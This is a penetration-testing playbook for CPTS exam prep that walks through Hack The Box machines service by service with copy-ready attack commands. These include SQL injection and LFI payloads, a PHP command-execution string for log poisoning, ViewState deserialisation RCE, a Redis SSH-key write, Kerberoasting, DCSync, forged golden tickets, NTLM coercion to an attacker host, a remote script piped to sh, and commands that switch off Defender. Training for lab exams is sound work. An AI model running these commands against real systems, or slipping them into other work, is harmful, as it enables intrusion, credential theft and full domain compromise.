attack-flow-guide.md (26393B)
1 --- 2 title: "Attack Flow Guide" 3 description: "CPTS companion guide: Attack Flow Guide — copy-ready methodology and commands." 4 category: pentest-workflow 5 subcategory: "Companion Guides" 6 order: 20 7 tags: ["methodology", "attack-flow", "cpts-prep", "ad", "adcs", "enumeration", "workflow", "cpts", "pentest-workflow"] 8 tools: [] 9 difficulty: intermediate 10 updated: "2026-07-18" 11 source: "vault:Pentest Attack Flow/Companion Guides/Attack-Flow-Guide.md" 12 --- 13 --- 14 15 > [!abstract] `> ABOUT_THIS_GUIDE` 16 > A working playbook, not just diagrams. For every service you meet, it tells you **what to look for**, the **commands to enumerate it**, and the **commands to test/exploit it**. Built from 16 0xdf writeups (the CPTS-prep list). Command syntax reference lives in **[Most-Used-Commands](/sheets/pentest-workflow/most-used-commands)**. Set these first and every command below just works: 17 > ```bash 18 > export IP=10.10.11.x # target 19 > export TARGET=$IP 20 > export DOMAIN=domain.htb 21 > export DC=dc01.$DOMAIN 22 > export LHOST=10.10.14.x # your tun0 (ip -br a show tun0) 23 > ``` 24 25 --- 26 27 ## // THE_GOLDEN_RULES 28 29 > [!tip] 30 > 1. **Enumerate, don't guess.** Every box rewarded reading the loot (PDFs, notes, README, git history, images) over exploit-hunting. 31 > 2. **New identity = restart enumeration.** Cracked a hash / reset a password / read a cred? Re-run BloodHound *as that principal*, re-spray it across SMB+WinRM, re-check ADCS. Boxes chain 4-7 identities. 32 > 3. **Clock skew kills Kerberos** → `sudo ntpdate -u $DC` before every Kerberos/certipy step. 33 > 4. **NTLM disabled (`NTLM:False` / `STATUS_NOT_SUPPORTED`)** → auth with `-k` + a ccache. 34 > 5. **First 5 commands on every shell** before anything else. 35 > 6. **FTP → `binary` mode** before pulling KeePass/DB files or they corrupt. 36 37 --- 38 39 ## // HIGH_LEVEL_FLOW 40 41 <figure class="flow plate corners"> 42 <figcaption class="flow__cap"><span class="flow__kind">High-level attack flow</span><span class="flow__dir">LR</span></figcaption> 43 <div class="flow__body"> 44 <svg class="flow-svg" viewBox="0 0 1835 205" role="img" aria-label="Setup and recon feeds per-service enum, foothold creds, shell or auth, post-foothold enum, then an Escalate decision that either loops back to per-service enum with new creds, or reaches Domain Admin via ADCS delegation ACL or local privesc, ending at root and flags"> 45 <path class="fedge" d="M185,82 L265,82" marker-end="url(#flow-arrow)" /> 46 <path class="fedge" d="M415,82 L495,82" marker-end="url(#flow-arrow)" /> 47 <path class="fedge" d="M645,82 L725,82" marker-end="url(#flow-arrow)" /> 48 <path class="fedge" d="M875,82 L955,82" marker-end="url(#flow-arrow)" /> 49 <path class="fedge" d="M1105,82 L1185,82" marker-end="url(#flow-arrow)" /> 50 <path class="fedge" d="M1335,74 L1415,74" marker-end="url(#flow-arrow)" /> 51 <path class="fedge" d="M1335,92 L1415,92" marker-end="url(#flow-arrow)" /> 52 <path class="fedge" d="M1565,82 L1645,82" marker-end="url(#flow-arrow)" /> 53 <path class="fedge is-back" d="M1260,106 L1260,172 L340,172 L340,108" marker-end="url(#flow-arrow)" /> 54 <g class="fnode is-entry"><rect class="fnode__box" x="35" y="58" width="150" height="48" /><text class="fnode__label" x="110" y="86" text-anchor="middle">SETUP + RECON</text></g> 55 <g class="fnode"><rect class="fnode__box" x="265" y="58" width="150" height="48" /><text class="fnode__label" x="340" y="79" text-anchor="middle">PER-SERVICE ENUM<tspan class="sub" x="340" dy="15">(this guide)</tspan></text></g> 56 <g class="fnode"><rect class="fnode__box" x="495" y="58" width="150" height="48" /><text class="fnode__label" x="570" y="86" text-anchor="middle">FOOTHOLD CREDS</text></g> 57 <g class="fnode"><rect class="fnode__box" x="725" y="58" width="150" height="48" /><text class="fnode__label" x="800" y="86" text-anchor="middle">SHELL / AUTH</text></g> 58 <g class="fnode"><rect class="fnode__box" x="955" y="58" width="150" height="48" /><text class="fnode__label" x="1030" y="86" text-anchor="middle">POST-FOOTHOLD ENUM</text></g> 59 <g class="fnode is-decision"><rect class="fnode__box" x="1185" y="58" width="150" height="48" /><text class="fnode__label" x="1260" y="86" text-anchor="middle">Escalate?</text></g> 60 <g class="fnode is-goal"><rect class="fnode__box" x="1415" y="58" width="150" height="48" /><text class="fnode__label" x="1490" y="86" text-anchor="middle">DOMAIN ADMIN</text></g> 61 <g class="fnode"><rect class="fnode__box" x="1645" y="58" width="150" height="48" /><text class="fnode__label" x="1720" y="86" text-anchor="middle">ROOT / FLAGS</text></g> 62 <g class="felabel"><rect class="felabel__box" x="1325" y="52" width="100" height="16" /><text class="felabel__text" x="1375" y="63" text-anchor="middle">ADCS/deleg/ACL</text></g> 63 <g class="felabel"><rect class="felabel__box" x="1338" y="98" width="74" height="16" /><text class="felabel__text" x="1375" y="109" text-anchor="middle">local priv</text></g> 64 <g class="felabel"><rect class="felabel__box" x="741" y="164" width="118" height="16" /><text class="felabel__text" x="800" y="175" text-anchor="middle">loop w/ new creds</text></g> 65 </svg> 66 </div> 67 </figure> 68 69 --- 70 71 ## // PHASE_0 — SETUP 72 73 > [!terminal]+ Run these on every box before anything else 74 > ```bash 75 > # Full TCP, then service scan the open ports 76 > rustscan -a $IP -u 50000 -r 1-65535 -- -sCV -oA ./recon/target 77 > # (Windows/no-ping): rustscan -a $IP -- -Pn -sCV --max-retries 3 -T4 78 > # two-stage nmap alternative: 79 > ports=$(nmap -p- --min-rate 10000 --open -oG - $IP | grep -oP '\d+(?=/open)' | paste -sd,) 80 > nmap -p $ports -sCV -Pn $IP -oA ./recon/detailed 81 > sudo nmap -sU --top-ports 50 $IP # UDP: DNS/SNMP/NFS matter 82 > 83 > # Populate /etc/hosts (grab domain + hostname) 84 > sudo nxc smb $IP --generate-hosts-file /etc/hosts 85 > 86 > # AD box only: 87 > sudo ntpdate -u $DC # fix clock skew (Kerberos) 88 > nxc smb $DC --generate-krb5-file krb5.conf && sudo cp krb5.conf /etc/krb5.conf 89 > ``` 90 91 > [!tip] `> WHAT THE PORTS TELL YOU` 92 > - 53+88+389+445+636+3268+5985+9389 = **Windows Domain Controller**. 93 > - 445 alone + 3389 + SSH-for-Windows = **Windows member/standalone** (Media). 94 > - 2049(nfs), 6379(redis), 1433(mssql), 25(smtp), 6022(go-ssh) = **service to raid**. 95 > - TTL 127 = Windows one hop, TTL 63/64 = Linux. 96 > - Two SSH ports / 172.x IPs in DNS = **containers** in play (Craft, Ghost, Snoopy). 97 98 --- 99 100 ## // SERVICE PLAYBOOKS 101 102 Work each open service. For every one: **look-for → enumerate → test**. 103 104 ### `> SMB — 445 / 139` 105 106 > [!info] **Look for:** null/guest access, non-default shares (IT, Development, Finance, profiles$, CertEnroll), writable shares, files (PDFs, KeePass, xlsx, Ansible, scripts), SMB signing off (relay potential), the domain + hostname. 107 108 > [!terminal]+ Enumerate 109 > ```bash 110 > nxc smb $IP # OS, domain, hostname, signing, SMBv1, NTLM state 111 > nxc smb $IP -u '' -p '' --shares # null session 112 > nxc smb $IP -u guest -p '' --shares 113 > nxc smb $IP -u oxdf -p '' --shares # bogus creds sometimes list shares (Authority) 114 > nxc smb $DC -u user -p pass --shares --users --rid-brute --pass-pol 115 > smbmap -H $IP -u user -p pass -r # recursive listing w/ perms 116 > smbclient -N -L //$IP # anon share list 117 > ``` 118 119 > [!terminal]+ Test / loot 120 > ```bash 121 > smbclient //$IP/IT -U "$DOMAIN/user%pass" # browse a share 122 > # Kerberos-only host: smbclient -U "$DOMAIN/user%pass" --realm=$DOMAIN //$DC/IT 123 > nxc smb $IP -u user -p pass -M spider_plus # auto-loot files 124 > # writable share = drop a coercion payload (see NTLM-coercion below) 125 > ``` 126 127 > [!warning] `NTLM:False` = NTLM disabled, use Kerberos everywhere (`-k`, `getTGT`, `smbclient.py -k`). Seen on VulnCicada and Voleur. 128 129 --- 130 131 ### `> LDAP — 389 / 636 / 3268` 132 133 > [!info] **Look for:** domain naming context, user list + descriptions (passwords in descriptions), `MachineAccountQuota`, gMSA accounts, ADCS objects, pre-created attributes. 134 135 > [!terminal]+ Enumerate 136 > ```bash 137 > nxc ldap $DC -u user -p pass # confirm auth (add -k if NTLM off) 138 > nxc ldap $DC -u user -p pass --users --groups 139 > nxc ldap $DC -u user -p pass --users-export users.txt # feed spraying 140 > nxc ldap $DC -u user -p pass -M maq # MachineAccountQuota (0 = no fake computers) 141 > nxc ldap $DC -u user -p pass --gmsa # gMSA readable? -> NT hash 142 > ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb" > ldap.txt 143 > ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd # LAPS 144 > enum4linux-ng -A $IP 145 > ``` 146 147 > [!tip] Description-field and pre-set attributes leak creds. Always dump users with descriptions. 148 149 --- 150 151 ### `> Kerberos — 88` 152 153 > [!info] **Look for:** valid usernames, AS-REP roastable users (no pre-auth), kerberoastable SPNs, clock skew. 154 155 > [!terminal]+ Enumerate + test 156 > ```bash 157 > kerbrute userenum -d $DOMAIN --dc $DC /opt/SecLists/Usernames/xato-net-10-million-usernames.txt 158 > # ASREPRoast (no creds needed if you have a userlist) -> hashcat -m 18200 159 > impacket-GetNPUsers $DOMAIN/ -dc-ip $IP -usersfile users.txt -no-pass 160 > # Kerberoast (needs creds) -> hashcat -m 13100 161 > impacket-GetUserSPNs -request -dc-ip $IP "$DOMAIN/user:pass" -outputfile kerb.hash 162 > # get a TGT / ccache for Kerberos-only auth 163 > impacket-getTGT $DOMAIN/user:pass ; export KRB5CCNAME=user.ccache 164 > kinit user # alternative, puts ticket in default location 165 > ``` 166 167 > [!warning] `KDC_ERR_PREAUTH_FAILED` = wrong password. `KDC_ERR_C_PRINCIPAL_UNKNOWN` = user doesn't exist / **deleted** (recover via AD Recycle Bin). `KRB_AP_ERR_SKEW` = fix clock. 168 169 --- 170 171 ### `> RPC / MSRPC — 135 / 593` 172 173 > [!terminal]+ Enumerate 174 > ```bash 175 > rpcclient -U "" -N $IP # then: enumdomusers, querydispinfo, enumdomgroups 176 > rpcclient -U "user%pass" $IP -c 'enumdomusers' 177 > impacket-rpcdump $IP | grep -i 'MS-' # spot coercion surfaces (EFSR, RPRN, DFS) 178 > ``` 179 180 --- 181 182 ### `> DNS — 53 (TCP+UDP)` 183 184 > [!info] **Look for:** the domain name, zone-transfer allowed, extra subdomains/records, ability to add records (dynamic update), TSIG/rndc keys leaked elsewhere. 185 186 > [!terminal]+ Enumerate + test 187 > ```bash 188 > dig +noall +answer @$IP domain.htb # does it resolve? 189 > dig +noall +answer @$IP -x $IP # reverse -> domain 190 > dig axfr domain.htb @$IP # ZONE TRANSFER (Trick, Snoopy) 191 > # add a record as any domain user (feeds Responder coercion — Ghost) 192 > python dnstool.py -u "$DOMAIN\\user" -k -a add -r bitbucket --zone $DOMAIN --data $LHOST -dns-ip $IP $DC 193 > # dynamic update with a leaked TSIG/rndc key (Snoopy) 194 > nsupdate -k rndc.key <<EOF 195 > server $IP 196 > zone domain.htb 197 > update add mail.domain.htb 86400 A $LHOST 198 > send 199 > EOF 200 > ``` 201 202 --- 203 204 ### `> HTTP / HTTPS — 80 / 443 / 8008 / 8443 / 50000` 205 206 > [!info] **Look for:** the tech stack (headers, 404 page, cookies, `X-Powered-By`), vhosts, hidden params, known software + version, login forms (SQLi/LDAPi), file/`page=` params (LFI), upload forms, `robots.txt`, git/source exposure, TLS cert names (extra hostnames). 207 208 > [!terminal]+ Enumerate 209 > ```bash 210 > whatweb http://$IP ; curl -sI http://$IP # stack + headers 211 > # VHOST fuzz (always) — filter the default size with -ac 212 > ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac 213 > # dirs — -x for extension, lowercase list on IIS 214 > feroxbuster -u http://$IP -x php,aspx,html -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 215 > # hidden GET params (StreamIO ?debug=) 216 > ffuf -u "http://$IP/admin/?FUZZ=" -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs <default> 217 > # TLS cert SANs (extra hostnames) 218 > openssl s_client -connect $IP:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt" 219 > ``` 220 221 > [!terminal]+ Test by app type 222 > ```bash 223 > # LOGIN FORM -> SQLi bypass / LDAP injection 224 > # user: admin' or 1=1;-- - or * / pass: * 225 > sqlmap -r login.req --batch --technique B --level 5 --threads 10 226 > sqlmap -r login.req --batch --file-read=/etc/passwd 227 > # MSSQL union creds: ' union select 1,CONCAT(username,':',password),3,4,5,6 from users;-- - 228 > 229 > # page=FILE param -> LFI 230 > ffuf -u "http://$IP/index.php?page=FUZZ" -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -mc 200 -ac 231 > # str_replace('../') bypass: ?page=....//....//etc/passwd 232 > # PHP source leak: ?page=php://filter/convert.base64-encode/resource=index.php 233 > # RCE via mail/log poisoning: swaks body '<?php system($_REQUEST["cmd"]);?>' then include mailspool 234 > 235 > # ViewState / ASP.NET (Pov) -> leak web.config keys via file-read, then: 236 > ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg=AES --decryptionkey=<k> \ 237 > --validationalg=SHA1 --validationkey=<k> --path=/portfolio -c "<cmd>" 238 > 239 > # KNOWN SOFTWARE 240 > # Jenkins (50000): Manage Jenkins > Script Console: println "cmd /c whoami".execute().text 241 > # Gitea/Bitbucket: log in, read repos + commit history for creds/keys/source 242 > # Ghost/CMS: /ghost admin, check version for CVEs 243 > # Upload form: try webshell; if "must be Windows Media Player" -> .wax NTLM leak (Media) 244 > ``` 245 246 > [!tip] Read the 404 page and headers to fingerprint (IIS vs nginx vs Express/Next.js). Client-rendered/Next.js apps hide logic in `/_next/static/chunks/*.js` — read them. 247 248 --- 249 250 ### `> NFS — 2049 / 111` 251 252 > [!terminal]+ 253 > ```bash 254 > showmount -e $IP # list exports 255 > sudo mount -t nfs $IP:/profiles /mnt -o nolock 256 > find /mnt -ls # hunt readable files (images with stickynote creds — VulnCicada) 257 > ``` 258 259 --- 260 261 ### `> Redis — 6379` 262 263 > [!terminal]+ 264 > ```bash 265 > redis-cli -h $IP # keys *, info, config get dir 266 > # RCE via SSH-key write (Postman): 267 > config set dir /var/lib/redis/.ssh 268 > config set dbfilename authorized_keys 269 > # (echo -e "\n\n"; cat id.pub; echo -e "\n\n") | redis-cli -h $IP -x set x 270 > save 271 > ``` 272 273 --- 274 275 ### `> FTP — 21` 276 277 > [!terminal]+ 278 > ```bash 279 > ftp anonymous@$IP # nmap ftp-anon flags this; grab everything 280 > # ALWAYS: binary (before pulling .kdbx / .psafe3 / DB files — Redelegate) 281 > ``` 282 > Look for KeePass/Password-Safe DBs, backup files, notes with password policy hints (`SeasonYear!`). 283 284 --- 285 286 ### `> SMTP — 25` 287 288 > [!terminal]+ 289 > ```bash 290 > smtp-user-enum -m VRFY -U /opt/SecLists/Usernames/names.txt $IP 25 # valid users 291 > swaks --to user@$DOMAIN --from x --server $IP --body "test" # send mail (LFI mail-poison) 292 > ``` 293 294 --- 295 296 ### `> MSSQL — 1433` 297 298 > [!terminal]+ 299 > ```bash 300 > nxc mssql $IP -u sa -p pass --local-auth # SQL logins need --local-auth 301 > mssqlclient.py user:pass@$IP # add -windows-auth for domain 302 > # in shell: 303 > enum_db ; enable_xp_cmdshell ; xp_cmdshell whoami 304 > EXEC xp_dirtree '\\'$LHOST'\share' # coerce NetNTLMv2 (run Responder) 305 > # linked servers (Ghost): SELECT * FROM OPENQUERY("PRIMARY",'select CURRENT_USER') 306 > # impersonate sa across link -> enable + xp_cmdshell: 307 > # EXECUTE('EXECUTE AS LOGIN=''sa''; exec sp_configure "xp_cmdshell",1;reconfigure;exec xp_cmdshell "cmd"') AT [PRIMARY] 308 > # RID-brute domain users through MSSQL (Redelegate): msf mssql_enum_domain_accounts 309 > ``` 310 311 --- 312 313 ### `> WinRM — 5985 / 5986` 314 315 > [!terminal]+ 316 > ```bash 317 > nxc winrm $IP -u user -p pass # (Pwn3d!) = shell available 318 > evil-winrm -i $IP -u user -p pass 319 > evil-winrm -i $IP -u user -H <NThash> # pass-the-hash 320 > export KRB5CCNAME=user.ccache; evil-winrm -i $DC -r $DOMAIN # kerberos 321 > ``` 322 > Requires membership in **Remote Management Users**. If auth works on SMB but not WinRM, the account isn't in that group — use RunasCs or find the WinRM user. 323 324 --- 325 326 ### `> ADCS — check as EVERY new principal` 327 328 > [!info] **Look for:** a CA at all, web enrollment over HTTP (ESC8), templates where you have enroll rights, EnrolleeSuppliesSubject + client-auth (ESC1), v1 schema templates (ESC15), security-extension-disabled CA (ESC16). 329 330 > [!terminal]+ Enumerate 331 > ```bash 332 > uv tool upgrade certipy-ad # ESC15/16 detection is recent 333 > nxc ldap $DC -u user -p pass -M adcs # is there a CA? 334 > certipy find -u user@$DOMAIN -p pass -dc-ip $IP -vulnerable -stdout 335 > certipy find -u user@$DOMAIN -hashes :<NT> -dc-ip $IP -vulnerable -stdout 336 > certipy find -u user@$DOMAIN -p pass -dc-ip $IP -stdout # ALL templates (re-read remarks per principal) 337 > ``` 338 339 --- 340 341 ## // POST-FOOTHOLD ENUMERATION (every shell, every time) 342 343 > [!terminal]+ Windows — first commands 344 > ```powershell 345 > whoami /all # groups AND privileges (SeImpersonate/SeDebug/SeBackup/SeEnableDelegation) 346 > net user %username% /domain 347 > systeminfo ; ipconfig /all 348 > cmdkey /list # stored creds 349 > reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # autologon 350 > dir -recurse *.config,*.xml,*.ps1 | select-string -pattern "password" 351 > # loot: connection.xml (Import-CliXml), Firefox key4.db+logins.json (firepwd), 352 > # .kdbx/.psafe3, DPAPI creds, gMSA, LAPS, registry/NTDS backups (WSL /mnt/c) 353 > ``` 354 355 > [!terminal]+ Linux — first commands 356 > ```bash 357 > id; sudo -l # sudo -l FIRST — instant wins on this box list 358 > find / -perm -u=s -type f 2>/dev/null # SUID -> GTFOBins 359 > cat /etc/crontab; ls -la /etc/cron.* 360 > env # VAULT_TOKEN etc (Craft) 361 > ls -la ~/.ssh /root/.ssh 2>/dev/null # keys, ControlMaster sockets (Ghost) 362 > curl -L .../linpeas.sh | sh 363 > ``` 364 365 > [!warning] **After ANY new credential/hash/shell → go back to the service playbooks as that principal.** New BloodHound, new spray, new ADCS check. This single habit solves TombWatcher, Voleur, Administrator, Ghost. 366 367 --- 368 369 ## // BLOODHOUND — run at every principal 370 371 > [!terminal]+ 372 > ```bash 373 > # password 374 > bloodhound-ce-python -d $DOMAIN -u user -p pass -ns $IP -c All --zip 375 > # kerberos 376 > bloodhound-ce-python -d $DOMAIN -u user -k -no-pass -ns $IP -c All --zip 377 > # rusthound-ce also collects ADCS the python collector may miss — run both 378 > rusthound-ce -d $DOMAIN -u user -p pass -c All --zip 379 > ``` 380 > Mark every owned account, run **"Shortest paths from Owned objects"**. Look at **Outbound Object Control** for each: GenericWrite, GenericAll, WriteOwner, ForceChangePassword, AddSelf, ReadGMSAPassword, DCSync, WriteDacl. 381 382 --- 383 384 ## // ESCALATION — ACL ABUSE 385 386 > [!info] **What each ACL gives you** (from BloodHound outbound control): 387 388 | Right over target | Abuse | Command | 389 |-------------------|-------|---------| 390 | **ForceChangePassword** | reset password | `net rpc password target -U "$DOMAIN/me%pw" -S $IP` | 391 | **GenericWrite / WriteSPN** | targeted kerberoast **or** shadow cred | `targetedKerberoast.py -d $DOMAIN -u me -p pw` / `certipy shadow auto -account target` | 392 | **GenericAll (user)** | reset pw / shadow cred | `bloodyAD ... set password target 'P@ss1!'` | 393 | **WriteOwner** | own → grant self GenericAll → abuse | `bloodyAD ... set owner target me` then `add genericAll target me` | 394 | **AddSelf / GenericAll (group)** | join group, inherit its rights | `bloodyAD ... add groupMember 'Group' me` | 395 | **ReadGMSAPassword** | read managed password | `nxc ldap $DC -u me -p pw --gmsa` | 396 | **DCSync / WriteDacl on domain** | dump all hashes | `secretsdump.py "$DOMAIN/me:pw@$DC" -just-dc` | 397 398 > [!terminal]+ Shadow credential (needs ADCS/PKINIT) — returns TGT + NT hash 399 > ```bash 400 > certipy shadow auto -u me@$DOMAIN -p pw -account target 401 > ``` 402 403 --- 404 405 ## // ESCALATION — ADCS (certipy) 406 407 | ESC | Trigger (what to look for) | Exploit | Box | 408 |-----|----------------------------|---------|-----| 409 | **ESC1** | EnrolleeSuppliesSubject + client-auth + you can enroll | `certipy req ... -template T -upn administrator@$DOMAIN` → `certipy auth -pfx` | Authority | 410 | **ESC8** | Web enrollment over HTTP enabled | coerce DC (PetitPotam) + `certipy relay -target http://$DC -template DomainController` → machine cert | VulnCicada | 411 | **ESC15** | v1 schema + EnrolleeSuppliesSubject, unpatched (CVE-2024-49019) | `certipy req ... -application-policies 'Certificate Request Agent'` → ESC3 on-behalf-of | TombWatcher | 412 | **ESC16** | Security extension disabled CA-wide | hijack controlled acct UPN → `certipy req` → restore UPN → `certipy auth` | Fluffy | 413 414 > [!terminal]+ ESC1 example + PassTheCert fallback 415 > ```bash 416 > # if MachineAccountQuota>0 and template = Domain Computers, add a fake computer first: 417 > addcomputer.py "$DOMAIN/user:pass" -method LDAPS -computer-name PWN$ -computer-pass Pwn123 -dc-ip $IP 418 > certipy req -username 'PWN$' -password Pwn123 -ca CA-NAME -dc-ip $IP -template T -upn administrator@$DOMAIN -dns $DOMAIN 419 > certipy auth -pfx administrator.pfx -dc-ip $IP # if PKINIT fails (KDC_ERR_PADATA_TYPE_NOSUPP): 420 > certipy cert -pfx administrator.pfx -nocert -out admin.key ; certipy cert -pfx administrator.pfx -nokey -out admin.crt 421 > python passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain $DOMAIN -dc-ip $IP 422 > # ldap-shell: add_user_to_group me administrators / set_rbcd / write_gpo_dacl 423 > ``` 424 425 --- 426 427 ## // ESCALATION — DELEGATION 428 429 > [!terminal]+ Constrained delegation via SeEnableDelegationPrivilege (Redelegate) 430 > ```powershell 431 > Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True 432 > Set-ADObject -Identity "CN=FS01,CN=Computers,DC=domain,DC=htb" -Add @{"msDS-AllowedToDelegateTo"="ldap/$DC"} 433 > ``` 434 > ```bash 435 > nxc smb $DC -u me -p pw -M change-password -o USER='FS01$' NEWPASS=Pw123 436 > getST.py "$DOMAIN/FS01\$:Pw123" -spn ldap/$DC -impersonate dc 437 > KRB5CCNAME=dc@ldap_$DC@*.ccache secretsdump.py -k -no-pass $DC # DCSync as DC 438 > ``` 439 > **RBCD** (GenericWrite/All over a computer): `impacket-rbcd -delegate-from 'ATK$' -delegate-to 'TARGET$' -action write "$DOMAIN/user:pass"` then `getST.py -impersonate administrator`. 440 441 --- 442 443 ## // ESCALATION — LOCAL PRIVESC 444 445 > [!tip]+ Windows privilege → exploit (from `whoami /priv`) 446 > - **SeImpersonate** → GodPotato / PrintSpoofer. Defender eating GodPotato? Compile **EfsPotato** on-box (`csc.exe EfsPotato.cs -nowarn:1691,618`). Service account with stripped privs? **FullPowers** first. (Media, Ghost) 447 > - **SeDebug** → meterpreter migrate into a SYSTEM proc / `psgetsys.ps1` (Pov) 448 > - **SeBackup/SeRestore** → read SAM+NTDS 449 > - **ADS** hidden data → `dir /R`, `more < file.txt:root.txt` (Jeeves) 450 > - **Junction point** → point a service's write dir at the web root, upload webshell (Media) 451 > - Disable AV once you can: `Set-MpPreference -DisableRealtimeMonitoring $True` 452 453 > [!tip]+ Linux privilege → exploit (`sudo -l` first) 454 > - `fail2ban` action rewrite → SUID bash (Trick) 455 > - `git apply` symlink CVE-2023-23946 (Snoopy) 456 > - `clamscan --file-list <file>` file-read, or XXE CVE-2023-20052 (Snoopy) 457 > - Webmin CVE-2019-12840 as root (Postman) 458 > - HashiCorp Vault SSH OTP: `vault ssh -mode=otp -role=root_otp root@127.0.0.1` (Craft) 459 > - Password reuse via `su` (Postman) 460 461 --- 462 463 ## // ESCALATION — CROSS-DOMAIN / FOREST (Ghost) 464 465 > [!terminal]+ After SYSTEM on a child DC 466 > ```bash 467 > Get-DomainTrust # confirm bidirectional/within-forest 468 > mimikatz "lsadump::dcsync /all /csv" exit # grab TRUST$ + krbtgt 469 > # forged inter-domain trust ticket (child -> parent Enterprise Admins) 470 > ticketer.py -nthash <TRUST$ NT> -domain-sid <child SID> -domain child.dom \ 471 > -extra-sid <parent SID>-519 -spn krbtgt/parent.dom dummy 472 > KRB5CCNAME=dummy.ccache getST.py -k -no-pass -spn cifs/$DC child.dom/dummy@parent.dom 473 > # or golden ticket: 474 > Rubeus.exe golden /aes256:<krbtgt aes> /ldap /user:Administrator /sids:<parent SID>-519 /ptt 475 > # ADFS Golden SAML (as adfs gMSA): ADFSDump.exe -> ADFSpoof.py -> forge SAMLResponse 476 > ``` 477 478 --- 479 480 ## // DECISION_TREE — "I'M STUCK" 481 482 > [!question]+ `> WHAT NOW?` 483 > - **Just got a cred?** → BloodHound as that user, spray SMB+WinRM, re-check ADCS. (Answer is almost always here.) 484 > - **Kerberos error?** → `ntpdate` for skew. `PRINCIPAL_UNKNOWN` = deleted account → AD Recycle Bin (`Restore-ADObject` / `nxc -M tombstone`). 485 > - **Auth SMB but not WinRM?** → not in Remote Management Users → RunasCs. 486 > - **certipy finds nothing?** → update it; re-run as *every* principal (different enroll rights). 487 > - **Web app empty?** → vhost fuzz, hidden `?FUZZ=` params, read source via LFI/PHP filter, check git history + JS chunks. 488 > - **In a container?** → `/root/.ssh` ControlMaster sockets (Ghost), `.dockerenv`, env vars, mounted volumes, `/mnt/c` (WSL — Voleur). 489 > - **`NTLM:False`?** → everything with `-k` + ccache. 490 491 --- 492 493 ## // COMMON_PITFALLS 494 495 > [!warning]+ Time-wasters seen across the 16 boxes 496 > - **Clock skew** breaking Kerberos silently → `ntpdate`. 497 > - **FTP ASCII mode** corrupting KeePass/DB downloads → `binary` first. 498 > - **Machine-account NetNTLMv2** (`DC$`) is effectively uncrackable — don't burn hours (StreamIO). 499 > - **WAF keyword blocks** on SQLi (`0x`, `all`, `null`, `*`) — rephrase, don't quit. 500 > - **Relative-path LFI** killed by `str_replace` → use `....//`. 501 > - **BloodHound-python hanging** = DNS round-robin returning an unreachable internal IP → re-run or pin the DC IP (Ghost). 502 > - **Defender** eating tools → `Set-MpPreference` when possible, or EfsPotato/manual. 503 504 --- 505 506 ## // MACHINE_INDEX 507 508 Full technique map: **[Most-Used-Commands](/sheets/pentest-workflow/most-used-commands#-machine__technique_index)**. 509 510 | Tier | Boxes | 511 |------|-------| 512 | **Easy** | Fluffy (Win), Trick (Lin), Postman (Lin) | 513 | **Medium** | Jeeves, Pov, TombWatcher, Media, VulnCicada, StreamIO, Voleur, Administrator, Authority (Win) · Craft (Lin) | 514 | **Hard** | Redelegate (Win) · Snoopy (Lin) | 515 | **Insane** | Ghost (Win) | 516 517 --- 518 519 ## // REFERENCES 520 521 > [!info]+ 522 > All 16 writeups: [0xdf](https://0xdf.gitlab.io/) · [Certipy Wiki (ESC)](https://github.com/ly4k/Certipy/wiki) · [The Hacker Recipes](https://www.thehacker.recipes/) · [HackTricks AD](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology) · [GTFOBins](https://gtfobins.github.io/) · [LOLBAS](https://lolbas-project.github.io/) · Command reference: [Most-Used-Commands](/sheets/pentest-workflow/most-used-commands) 523 524 --- 525 526 #Methodology #Attack-Flow #CPTS-Prep #AD #ADCS #Enumeration #Workflow #HTB